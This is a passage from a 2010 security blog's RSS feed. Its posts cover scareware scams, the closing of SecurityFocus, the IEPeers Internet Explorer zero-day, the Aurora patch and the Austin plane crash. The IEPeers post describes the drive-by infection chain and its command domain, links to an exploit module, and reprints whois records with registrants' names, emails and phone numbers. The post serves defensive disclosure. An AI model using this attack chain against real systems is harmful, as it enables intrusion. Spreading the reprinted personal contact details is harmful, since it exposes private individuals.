<p><div id="attachment_3577" class="wp-caption alignleft" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/03/trafficconficker_lexuscontest_crop.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/03/trafficconficker_lexuscontest_crop-300x180.jpg" alt="The Lexus Contest." title="trafficconficker_lexuscontest_crop" width="300" height="180" class="size-medium wp-image-3577" /></a><p class="wp-caption-text">The Lexus Contest.</p></div>
<br /></p>

<p>At times creative bonuses are involved: one contest by a site called TrafficConverter.Biz offered <a href="http://lastwatchdog.com/scareware-attacks-spreading-twitter-google-legit/">a $36,000 Lexus</a> to the top affiliate. In 2008, the top five affiliates in the Russian Baka Software Gang averaged weekly commissions of $107,604 according to documentation found by researcher Joe Stewart. When the Federal Trade Commission obtained a court order to stop Belize’s Innovative Marketing from selling rogue software, the firm had made approximately $180 million dollars in a year through four million customers who purchased the software thinking it was real. There is probably no better metaphor though than the high end Mercedes sedan once displayed on scam web site iframeCASH.biz, known to be similar to the model driven by its founder and scareware pioneer, St. Petersburg’s Andrej Sporaw.</p>

<p><div id="attachment_3579" class="wp-caption alignright" style="width: 261px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/03/iframe_cash.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/03/iframe_cash.jpg" alt="iFrame Cash." title="iframe_cash" width="251" height="237" class="size-full wp-image-3579" /></a><p class="wp-caption-text">iFrame Cash.</p></div>
<br /></p>

<p>My Uncle was mildly embarrassed by the entire episode, but should not be, because the techniques used to propagate these scams have become so advanced that the educated and computer savvy among us are not immune. The software replicated the logos, the look and feel of the anti-virus he knew he had installed. The sophistication of these schemes has risen alongside the profit available to be made. He was under the impression of many Internet users: as long as he had his anti-virus software installed, kept Windows updated, didn’t open strange e-mails, and stayed away from strange web sites he would be safe using the Internet. When legitimate web sites are compromised with scripts launching fake AV dialogues, these rules do not apply. Such methods have led to an estimated one million victims of scareware per day worldwide.</p>

<p>Fortunately in my Uncle’s case he was able to cancel the credit cards involved and clean up the PC before experiencing any problems. Others have had their PC’s hijacked with the rogue software preventing updates to legitimate software, locking up the PC, preventing un-installation, installing malware, and generating a constant stream of pop ups in the web browser.</p>

<p>How do you avoid the scam? Remember that no legitimate anti-virus company will perform an unsolicited scan of your computer and ask for payment to correct issues identified. Close out of the browser when you see such a dialog come up. Run scans with your legitimate anti-virus and anti-spyware solutions on your PC (remember though that these installations are designed to work around anti-virus before you get too frustrated). Finally consult with a colleague who has experience in dealing with information security problems.</p>

<p>Information technology folks are usually willing to help, they know that when you work in technology you will always be your own family’s private help desk, a little like how the family doctor is always stuck giving everyone medical advice.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/01/scareware-purveyors-spammers-and-crooks-take-advantage-of-haiti-earthquake/">Scareware Purveyors, Spammers, and Crooks Take Advantage of Haiti Earthquake</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/03/the-proliferation-of-scareware-hits-home/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>A Loss of SecurityFocus</title>
		<link>http://praetorianprefect.com/archives/2010/03/a-loss-of-securityfocus/</link>
		<comments>http://praetorianprefect.com/archives/2010/03/a-loss-of-securityfocus/#comments</comments>
		<pubDate>Thu, 11 Mar 2010 17:11:32 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Industry News]]></category>
		<category><![CDATA[bugtraq]]></category>
		<category><![CDATA[securityfocus]]></category>
		<category><![CDATA[symantec]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=3755</guid>
		<description><![CDATA[The announcement came out earlier today that SecurityFocus, a long standing security news portal started in 1999 and home of a number of popular mailing lists including the well known Bugtraq is being shuttered by Symantec. While aspects of the site will continue (the mailing lists will remain and some content will be moved to Symantec Connect), the loss of the news portal and site itself is a significant loss of historical perspective on the information security industry from what was a long standing news and research source.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/03/security_focus_logo.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/03/security_focus_logo.jpg" alt="security_focus_logo" title="security_focus_logo" width="100" height="100" class="alignleft size-full wp-image-3757" /></a></p>

<p>The announcement came out earlier today that SecurityFocus, a long standing security news portal started in 1999 and home of a number of popular mailing lists including the well known Bugtraq is being shuttered by Symantec. While aspects of the site will continue (the mailing lists will remain and some content will be moved to Symantec Connect), the loss of the news portal and site itself is a significant loss of historical perspective on the information security industry from what was a long standing news and research source.</p>

<p>From the announcement:</p>

<p><i>
Beginning March 15, 2010 SecurityFocus will begin a transition of its content to Symantec Connect. As part of its continued commitment to the community, all of SecurityFocus’ mailing lists including Bugtraq and its Vulnerability Database will remain online at www.securityfocus.com There will not be any changes to any of the list charters or policies and the same teams who have moderated list traffic will continue to do so. The vulnerability database will continue to be updated and made available as it is currently. DeepSight and other security intelligence related offerings will remain unchanged while Infocus articles, whitepapers, and other SecurityFocus content will be available off of the main Symantec website in the coming months.
</i><br /> From: <a href="http://www.securityfocus.com/news/11582">Change in Focus</a></p>

<h3>SecurityFocus</h3>

<p><div id="attachment_3759" class="wp-caption alignleft" style="width: 290px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/03/securityfocus.com_.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/03/securityfocus.com_.jpg" alt="The SecurityFocus web site before the shift." title="securityfocus.com" width="280" height="210" class="size-full wp-image-3759" /></a><p class="wp-caption-text">The SecurityFocus web site before the shift.</p></div> 
<br /></p>

<p>SecurityFocus.com kicked off as an online computer security news source in 1999, founded by a couple of parties (Arthur Wong, Al Huger, Elias Levy, et al.). In the summer of 1999 the Bugtraq mail list was subsumed into SecurityFocus. In 2002 the site was acquired by Symantec, the well known anti-virus vendor, for <a href="http://www.symantec.com/press/2002/n020717.html">around $75 million</a> in cash.</p>

<h3>Bugtraq</h3>

<p>Bugtraq itself kicked off on November 5th, 1993, when Scott Chasin (Doc Holiday) started it as a response to perceived failure on the part of CERT to properly publish security warnings. Its founding policy was to publish vulnerabilities without regard to vendor response, an early salvo in the ongoing industry fight regarding full disclosure, or disclosing all known details of a security flaw.</p>

<p>The list was initially unmoderated but by the middle of 1995 was switched to moderated to cut down on the noise being generated. From 1996 to 2001 the list was moderated by Elias Levy (Aleph One), then turned over to David Ahmad, and finally <a href="http://www.securityfocus.com/archive/1/425940/30/1860/threaded">rests in the hands</a> as far as we know of David McKinney, a threat analyst at Symantec. The list was first hosted at Crimelab.com and moved to the NetSpace Project at Brown University when moderation began. In the summer of 1999, the list became part of SecurityFocus and thus in 2002 when SecurityFocus was acquired by Symantec it was part of that deal.</p>

<p>The philosophical underpinnings of full disclosure are complex, and <a href="http://www.wildernesscoast.org/bib/disclosure-by-date.html">long debated</a>, but the major pro argument is that once security vulnerabilities are well known, the vendors responsible for the vulnerable code correct the problem faster. A secondary argument is that having the full details allows the security practitioner who is paying attention to react with some form of mitigation to a complex issue. The con argument is of course that releasing such information allows the vulnerability to be exploited by a larger audience of attackers.</p>

<p>Elias Levy (Aleph One) from Venezuela, well known as the author of the seminal article <i><a href="http://www.phrack.org/issues.html?issue=49&amp;id=14#article">Smashing the Stack for Fun and Profit</a></i> in Phrack, moderated the list from 1996 to 2001. In his words: <i>&#8220;the environment at that time was such that vendors weren&#8217;t making any patches. So the focus was on how to fix software that companies weren&#8217;t fixing.&#8221;</i> Some might question the pace of progress over the past ten years, we do have Patch Tuesday and all that entails, and the environment has shifted in a somewhat positive way, but the issue of timely patching of security problems is still a front burner concern in information security.</p>

<p>Interestingly, when Symantec acquired SecurityFocus, and with it BugTraq, there were accusations that Levy had &#8217;sold out&#8217; on the original principles of the list. Partially in response to this, the <a href="http://lists.grok.org.uk/pipermail/full-disclosure/">Full-Disclosure mail list</a> was born.</p>

<h3>Finally</h3>

<p>SecurityFocus certainly lost whatever unbiased independence it had back in 2002, however that move (the Symantec buyout) also may have allowed it to keep going until now. The articles on the site were unusually complete (long for a security news site) making it possible to completely explain an idea, and some notably written by technically capable authors who could provide good commentary and insight into the issues they were presenting. The loss of this information, from a history of the security industry perspective, is unfortunate, because if there is an industry that does not always effectively carry forward and build upon lessons learned, it is this one.</p>

<p>Or as Santayana put it: &#8220;Those who do not learn from history are doomed to repeat it”.</p>

<p>Further there are not too many sources that have picked up the security news mantle effectively. Churnalism sites that offer a morsel of new information wrapped in an awkward product pitch presented as news aren&#8217;t going to cut it. Blogs, corporate ones, are heavily censored as their raison d&#8217;etre is marketing. And many independent blogs place value on brevity, a positive at times but not when it doesn&#8217;t allow an idea to be fully fleshed out.</p>

<p>So we&#8217;re left with the thought that someone, somewhere, needs to fire up the next SecurityFocus.</p>

<h3>References</h3>

<ul>
<li><a href="http://en.wikipedia.org/wiki/Bugtraq">Wikipedia: Bugtraq</a></li>
<li><a href="http://www.securityfocus.com/archive">Mailing Lists &#8211; Security Focus</a></li>
</ul>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/asian-men-prefer-ligatt/">Asian Men Prefer LIGATT</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/06/nationalcybersecurity-com-has-all-original-content/">NationalCyberSecurity.com has all &#8220;Original Content&#8221;</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/06/4305/">LIGATT&#8217;s Evans Strikes Back</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/06/did-ligatt-securitys-ceo-threaten-the-life-of-a-security-professional/">Did LIGATT Security&#8217;s CEO Threaten the Life of a Security Professional?</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/03/a-loss-of-securityfocus/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>IEPeers &#8211; A New Internet Explorer Zero Day Vulnerability</title>
		<link>http://praetorianprefect.com/archives/2010/03/iepeers-a-new-internet-explorer-zero-day-vulnerability/</link>
		<comments>http://praetorianprefect.com/archives/2010/03/iepeers-a-new-internet-explorer-zero-day-vulnerability/#comments</comments>
		<pubDate>Wed, 10 Mar 2010 23:01:30 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Remote Exploit]]></category>
		<category><![CDATA[aurora]]></category>
		<category><![CDATA[drive by download]]></category>
		<category><![CDATA[Internet Explorer]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Vulnerability]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=3511</guid>
		<description><![CDATA[We posted an aside yesterday referencing <a href="http://blogs.technet.com/msrc/archive/2010/03/09/security-advisory-981374-released.aspx">Microsoft's recent blog post</a> for <a href="http://www.microsoft.com/technet/security/advisory/981374.mspx">new security advisory 981374</a> referencing a new zero day vulnerability in Internet Explorer versions 6 and 7. New details have emerged since, and the exploit has moved from being what was described as part of "limited targeted attacks" to being widely accessible and <a href="http://www.rec-sec.com/exploits/msf/ie_iepeers_pointer.rb">available as a new module for the Metasploit framework</a>.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/03/ie_burning.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/03/ie_burning-150x150.jpg" alt="ie_burning" title="ie_burning" width="150" height="150" class="alignleft size-thumbnail wp-image-3526" /></a></p>

<p>We posted an aside yesterday citing <a href="http://blogs.technet.com/msrc/archive/2010/03/09/security-advisory-981374-released.aspx">Microsoft&#8217;s recent blog post</a> for <a href="http://www.microsoft.com/technet/security/advisory/981374.mspx">new security advisory 981374</a> referencing a new zero day vulnerability in Internet Explorer versions 6 and 7. New details have emerged since, and the exploit has moved from being what was described as part of &#8220;limited targeted attacks&#8221; to being widely accessible and <a href="http://www.rec-sec.com/exploits/msf/ie_iepeers_pointer.rb">available as a new module for the Metasploit framework</a>.</p>

<p>The major concern as always with vulnerabilities like this one is that the user needs only to visit a web site hosting the exploit to have their computer infected (there is no visible sign of a download or other user interaction required).</p>

<p>The vulnerability is a use after free vulnerability (memory is deallocated but then later accessed causing unexpected results such as a crash or arbitrary code execution) where an invalid reference is made to a freed pointer in the file iepeers.dll. This type of code error is fairly common, this is the second major instance of this type of error in Internet Explorer recently (with the well publicized <a href="http://praetorianprefect.com/archives/2010/01/the-aurora-ie-exploit-in-action/">&#8216;Google Aurora&#8217; attack</a> being associated with a similar type of code defect in the popular browser).</p>

<p>In terms of impact, together these two versions of IE account for approximately 20% of the browser market share. Microsoft has referenced protected mode, enabling Data Execution Prevention (DEP), and not running as a high privilege user (admin) as possible mitigating steps. While always a good idea, we&#8217;ve seen in the past methods that allow both DEP and protected mode to be bypassed. In terms of user privileges, its never a good idea to browse the Internet as a high privilege user, however user escalation vulnerabilities can be employed by the attacker once access is gained to the computer.  The net of this is that the most effective mitigations available are to, if you are very concerned, temporarily use a different browser and that a patch be made available in a timely manner by Microsoft.</p>

<h3>The Exploit</h3>

<p>As <a href="http://www.rec-sec.com/2010/03/10/internet-explorer-iepeers-use-after-free-exploit/">provided by Trancer</a> (Moshe Ben Abu) with modifications to the original that unobfusticate portions of code and remove the malware payload:</p>

<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/03/ie_peers.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/03/ie_peers.jpg" alt="ie_peers" title="ie_peers" width="751" height="518" class="alignnone size-full wp-image-3598" /></a>
<br /></p>

<h3>The Attack</h3>

<p>The specific attack noticed on a web site (now down) called Topix21century.com occurs as follows:</p>

<ul>
<li>A user visits the web site, and a file called notes.exe or svohost.exe is downloaded and executed (drive by download).</li>
<li>This executable creates two copies of itself in the /temp directory and drops a .dll file which is then injected into the process for Internet Explorer, providing back door remote access to the computer for the attacker.</li>
<li>Once the attacker is in the system, he or she can perform actions as the user including attempting to escalate privileges, downloading files, etc.. </li>
<li>Activity was noted by McAfee where the infected system attempts to create an SSL connection to communicate with the domain: notes.topix21century.com.</li>
</ul>

<h3>Topix21century.com</h3>

<p>The only references to this topix21century.com site we noted are links in Japanese language forums referencing pictures of women in the Japanese Self-Defense Force.</p>

<p>The site is hosted on ISP GoDaddy, a geolocation lookup on the IP (68.178.232.100) shows a location of Scottsdale, Arizona.</p>

<p>The whois for the site hosting the exploit is as follows:</p>

<pre><code>Registrant:
   jack lee
   13block
   LA, California 55462
   United States

   Registered through: GoDaddy.com, Inc. (http://www.godaddy.com)
   Domain Name: TOPIX21CENTURY.COM
      Created on: 06-Mar-10
      Expires on: 06-Mar-11
      Last Updated on: 06-Mar-10

   Administrative Contact:
      lee, jack  robertwanger@aol.com
      13block
      LA, California 55462
      United States
      (818) 581-6872      Fax -- 

   Technical Contact:
      lee, jack  robertwanger@aol.com
      13block
      LA, California 55462
      United States
      (818) 581-6872      Fax -- 

   Domain servers in listed order:
      NS17.DOMAINCONTROL.COM
      NS18.DOMAINCONTROL.COM
</code></pre>

<p>A similar registrar entry is listed for the domain hotgreenlight.com, currently a parked domain:</p>

<pre><code>Registrant:
   thomason lee
   12block
   LA, California 95512
   United States

   Registered through: GoDaddy.com, Inc. (http://www.godaddy.com)
   Domain Name: HOTGREENLIGHT.COM
      Created on: 18-Dec-09
      Expires on: 18-Dec-10
      Last Updated on: 18-Dec-09

   Administrative Contact:
      lee, thomason  robert.wanger@hotmail.com
      12block
      LA, California 95512
      United States
      (626) 395-6544      Fax -- 

   Technical Contact:
      lee, thomason  robert.wanger@hotmail.com
      12block
      LA, California 95512
      United States
      (626) 395-6544      Fax -- 

   Domain servers in listed order:
      NS61.DOMAINCONTROL.COM
      NS62.DOMAINCONTROL.COM
</code></pre>

<h3>McAfee and Blame? (Update 03/11)</h3>

<p>For some silly reason, McAfee Labs is eating some blame over being transparent and informative in their Avert Labs post on Tuesday. When Israeli security researcher Moshe Ben Abu (who is a legitimate security researcher not some shadowy underworld black hat) noticed the post had a URL reference to Topix21century.com, he went and had a look at the site, analyzed how the exploit worked, and made a contribution to the Metasploit project detailing how the exploit functions.</p>

<p>Or put another way, he analyzed <b>an existing exploit being used by attackers</b> and took the time to explain it. He didn&#8217;t invent it, use it to compromise computers, or any other related black hat activity. Some will argue that he amplified its effect, something that would require an entire blog post to dispute, so we won&#8217;t get into it here.</p>

<p>Ryan Naraine highlights this flow, but passes no judgment on it in an article on <a href="http://blogs.zdnet.com/security/?p=5666">ZD Net</a>. Unfortunately fellow CNET journalist Elinor Mills <a href="http://news.cnet.com/8301-27080_3-10467673-245.html">takes it a step further</a>, suggesting by inference (by asking McAfee to &#8220;respond&#8221;) that the anti-virus company has some culpability here, to which McAfee responded:</p>

<p><i>&#8220;McAfee Labs does not support the release of exploit code, particularly in advance of a security patch being made available. We regularly sanitize blog content to prevent providing information that might assist attackers, while at the same time providing a service to customers and the security community to help improve protection levels,&#8221; the spokesman said in a statement via e-mail. &#8220;The post in question did not contain enough information to directly lead anyone to exploit code. However, we regret that in this unique situation the post did contain details that may have given exploit writers a starting point to hunt for exploit code. Future blog posts will be subject to additional sanitization.&#8221;</i></p>

<p>Such &#8220;sanitization&#8221;, a great Orwellian word, means that blog posts will be slower to publish (going through further &#8216;review&#8217; cycles) and contain a less complete picture of what has happened. Interestingly, since McAfee does not have the Amazing Kreskin working for them, they get information like everyone else, by having customers or related parties share it with them (presumably in un-sanitized form).</p>

<p>For anyone who hangs around in black/gray hat discussion forums, you don&#8217;t see Plato&#8217;s dialogues going on in there, but you do note that the yin side of the information security paradigm is pretty good at disseminating vulnerability information post discovery.</p>

<p>Worse yet, the response is contradictory, stating on one hand that the information in the post was appropriate and did not assist &#8220;attackers&#8221; (Abu is still not an attacker, so assuming they mean groups working off the Metasploit module), but then reverses itself and says they regret the post and will &#8217;sanitize&#8217; more in the future.</p>

<p>The problem is that the analysis of the exploit had a lot more to do with the analytical talent of Abu and not a whole lot to do with the somewhat refreshing transparency that has marked McAfee&#8217;s blogs since the Google Aurora incident. Unfortunately, looking at the response above, this period of valuable content may be at this corporate censored end.</p>

<p>Further, as Abu himself points out, he would have found the exploit code anyway regardless of any McAfee post.</p>

<h3>Finally</h3>

<p>The timing of this could be better for Microsoft, in that this closely follows the Aurora incident with Google that played out so publicly, and the defect is a nearly identical type of problem. That said, the saving grace for Microsoft in the retail market is that the IE 8 code is stated to not be affected, and Redmond would prefer you upgrade to the latest and greatest anyway.</p>

<p>The anti-virus vendors largely have the original payload on this one figured out, but unfortunately the payload can be changed as the infection vector is the thing to worry about. For that to be corrected, Microsoft will have to issue a patch.  You do have the option of temporarily using another browser, or alternatively upgrading to IE version 8, which is currently reported to not be affected.</p>

<p>This advice is reasonable for the home user, however upgrading the browser on a large corporate network is no small thing. For that reason we advise waiting for the patch, and applying it within a shortened cycle, as in terms of vulnerabilities, remote browser exploits that require no user interaction are somewhat critical problems. As always, users should avoid links to sites they&#8217;re not familiar with, but in practice this is very difficult as almost everyone is susceptible to some form of an effective social engineering trick (a targeted phishing e-mail or IM seemingly from a friend and so forth).</p>

<p>Regarding the tempest in a teapot around the the McAfee Avert Labs blog post by Craig Schmugar and the responses of a tired drumbeat of worn out points around responsible disclosure, its time for some in the security industry to grow up a little bit. Transparency and the near free flow of shared information are the only way the defensive side of information security can hope to catch up to the attackers.</p>

<h3>References</h3>

<ul>
<li><a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0806">CVE-2010-0806</a></li>
<li><a href="http://osvdb.org/show/osvdb/62810">OSVDB 62810</a></li>
<li><a href="http://www.microsoft.com/technet/security/advisory/981374.mspx">MSFT Security Advisory 981374</a></li>
<li><a href="http://www.avertlabs.com/research/blog/index.php/2010/03/09/targeted-internet-explorer-0day-attack-announced-cve-2010-0806/">Targeted Internet Explorer Zero-Day &#8211; McAfee Labs</a></li>
<li><a href="http://www.rec-sec.com/2010/03/10/internet-explorer-iepeers-use-after-free-exploit/">Microsoft Internet Explorer iepeers.dll use-after-free exploit</a></li>
</ul>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/the-aurora-ie-exploit-in-action/">The &#8220;Aurora&#8221; IE Exploit Used Against Google in Action</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/windows-smb-crash-video/">Windows 7 SMB Kernel Crash Video</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/juniper-kernel-crash-scapy-code/">Juniper Kernel Crash &#8211; scapy Code</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/junos-juniper-kernel-crash-video/">JUNOS (Juniper) Kernel Crash Video</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/03/iepeers-a-new-internet-explorer-zero-day-vulnerability/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Microsoft&#8217;s Google Attack Patch?</title>
		<link>http://praetorianprefect.com/archives/2010/02/microsofts-google-attack-patch/</link>
		<comments>http://praetorianprefect.com/archives/2010/02/microsofts-google-attack-patch/#comments</comments>
		<pubDate>Fri, 26 Feb 2010 04:18:26 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Vulnerability]]></category>
		<category><![CDATA[funny]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Patch Management]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=3421</guid>
		<description><![CDATA[Noted journalist and friend of the blog <a href="http://twitter.com/georgevhulme">George V. Hulme</a> shared the picture below from CNBC, perhaps the most amusing way seen thus far of describing the patch for the '<a href="http://praetorianprefect.com/archives/2010/01/the-aurora-ie-exploit-in-action/">Aurora bug</a>' that famously affected Google late last year.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/02/fry_2.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/02/fry_2-150x150.jpg" alt="fry_2" title="fry_2" width="150" height="150" class="alignleft size-thumbnail wp-image-3422" /></a></p>

<p>Noted journalist and friend of the blog <a href="http://twitter.com/georgevhulme">George V. Hulme</a> shared the picture below from a CNBC broadcast, perhaps the most amusing way seen thus far of describing the patch for the &#8216;<a href="http://praetorianprefect.com/archives/2010/01/the-aurora-ie-exploit-in-action/">Aurora bug</a>&#8216; that famously affected Google late last year.</p>

<p>That assumes of course that Microsoft is not in fact working on a Google Attack Patch.</p>

<p><br /><br /><br /><br />
<div id="attachment_3423" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/02/cnbc.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/02/cnbc.jpg" alt="The Google Attack Patch is coming soon." title="cnbc" width="750" height="566" class="size-full wp-image-3423" /></a><p class="wp-caption-text">The Google Attack Patch is coming soon.</p></div>
<br /></p>

<p>Of course they are referring to <a href="http://blogs.technet.com/msrc/archive/2010/01/21/bulletin-ms10-002-released.aspx">Microsoft&#8217;s out of band patch</a> release on January 21st for the Internet Explorer use after free vulnerability that has been nicknamed Aurora.</p>

<p><div id="attachment_3427" class="wp-caption alignnone" style="width: 535px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/02/aurora_patch.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/02/aurora_patch.jpg" alt="Aurora Patch description." title="aurora_patch" width="525" height="160" class="size-full wp-image-3427" /></a><p class="wp-caption-text">Aurora Patch description.</p></div>
<br /></p>

<p>Praetorian advises giving this patch special attention in your environment, especially if you continue to run on Internet Explorer 6.0. The vulnerability is not confined to this version of the browser, but the method of attack is well known for this version at this point.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/07/turning-an-atm-into-a-slot-machine/">Turning an ATM into a Slot Machine</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/12/adobe-util-printd-zero-day/">Adobe util.printd Zero Day</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/12/six-bulletins-in-last-patch-tuesday-of-2009/">Six Bulletins in Last Patch Tuesday of 2009</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/10/the-barack-obama-donations-site-was-hacked%e2%80%a6err-no-it-wasn%e2%80%99t/">The Barack Obama Donations Site was Hacked…err, no it wasn’t.</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/02/microsofts-google-attack-patch/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>A Brief Reminder, Passwords Have Been Around Forever</title>
		<link>http://praetorianprefect.com/archives/2010/02/a-brief-reminder-passwords-have-been-around-forever/</link>
		<comments>http://praetorianprefect.com/archives/2010/02/a-brief-reminder-passwords-have-been-around-forever/#comments</comments>
		<pubDate>Thu, 25 Feb 2010 04:25:21 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[funny]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=3395</guid>
		<description><![CDATA[The much maligned password has existed for thousands of years, for example the Greek historian Polybius described their use in the Roman military before the birth of Christ.

To illustrate the point here is a clip, the password scene, from the 1932 Marx Brothers movie "Horse Feathers".]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/02/groucho.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/02/groucho-150x150.jpg" alt="groucho" title="groucho" width="150" height="150" class="alignleft size-thumbnail wp-image-3400" /></a></p>

<p>The much maligned password has existed for thousands of years, for example the Greek historian Polybius described their use in the Roman military before the birth of Christ.</p>

<p>To illustrate the point here is a clip, the password scene, from the 1932 Marx Brothers movie &#8220;Horse Feathers&#8221;. 
<br /><br /><br /><br /><br /><br /></p>

<p><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/9IrCgCKrv8U&#038;hl=en_US&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/9IrCgCKrv8U&#038;hl=en_US&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object>
<br /></p>

<p>At first he thought the password was &#8216;password&#8217;, putting him right in line with what is typically quoted as the second most frequently used password in computer systems.</p>

<p>Swordfish doesn&#8217;t appear in the top 500 worst passwords. Also a plus, they change the password often.</p>

<p>Remember, the password is &#8216;Swordfish&#8217;.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2009/12/googles-new-years-eve-tricks/">Google&#8217;s New Year&#8217;s Eve Tricks</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/10/halloween-jokes-twitter-google/">Halloween Jokes, Twitter &#038; Google</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/02/a-brief-reminder-passwords-have-been-around-forever/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Was the Austin Plane Crash Domestic Terrorism?</title>
		<link>http://praetorianprefect.com/archives/2010/02/was-the-austin-plane-crash-domestic-terrorism/</link>
		<comments>http://praetorianprefect.com/archives/2010/02/was-the-austin-plane-crash-domestic-terrorism/#comments</comments>
		<pubDate>Thu, 18 Feb 2010 19:24:27 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[homeland security]]></category>
		<category><![CDATA[Incident Response]]></category>
		<category><![CDATA[terrorism]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=3346</guid>
		<description><![CDATA[In what could be the first act of domestic terrorism since Timothy McVeigh, a small plane (Piper) that set out from Georgetown Municipal Airport hit a federal office building housing the Internal Revenue Service (IRS) at 11:36 AM in Austin, Texas. A software developer, Joseph Andrew Stack, who had previously set his house on fire, was the pilot who suicidally flew his plane Kamikaze style into the building in an apparent act of revenge against the IRS as detailed in a 3,202 word suicide note on his web site: <a href="http://embeddedart.com">http://embeddedart.com</a>.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/02/plane_crash_.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/02/plane_crash_-150x150.jpg" alt="plane_crash_" title="plane_crash_" width="150" height="150" class="alignleft size-thumbnail wp-image-3347" /></a></p>

<p>In what could be the first act of domestic terrorism since Timothy McVeigh, a small plane (Piper) that set out from Georgetown Municipal Airport hit a federal office building housing the Internal Revenue Service (IRS) at 11:36 AM in Austin, Texas. A software developer, Joseph Andrew Stack, who had previously set his house on fire, was the pilot who suicidally flew his plane Kamikaze style into the building in an apparent act of revenge against the IRS as detailed in a 3,202 word suicide note on his web site: http://embeddedart.com. The web site is reporting a last update of Thursday, February 18, 2010 10:12:53 AM.</p>

<p>Note that the following message now appears on embeddedart.com: <i>This website has been taken offline due to the sensitive nature of the events that transpired in Texas this morning and in compliance with a request from the FBI. If you want to see the original letter, please see the archived version at thesmokinggun.com. Regards, T35 Hosting <a href="http://www.t35.com/">http://www.t35.com/</a></i></p>

<p>The suicide note on embeddedart.com downloaded as a pdf:
<a href='http://praetorianprefect.com/wp-content/uploads/2010/02/Well-Mr.-Big-Brother-IRS-man...-take-my-pound-of-flesh-and-sleep-well..pdf'>Well Mr. Big Brother IRS man&#8230; take my pound of flesh and sleep well.</a></p>

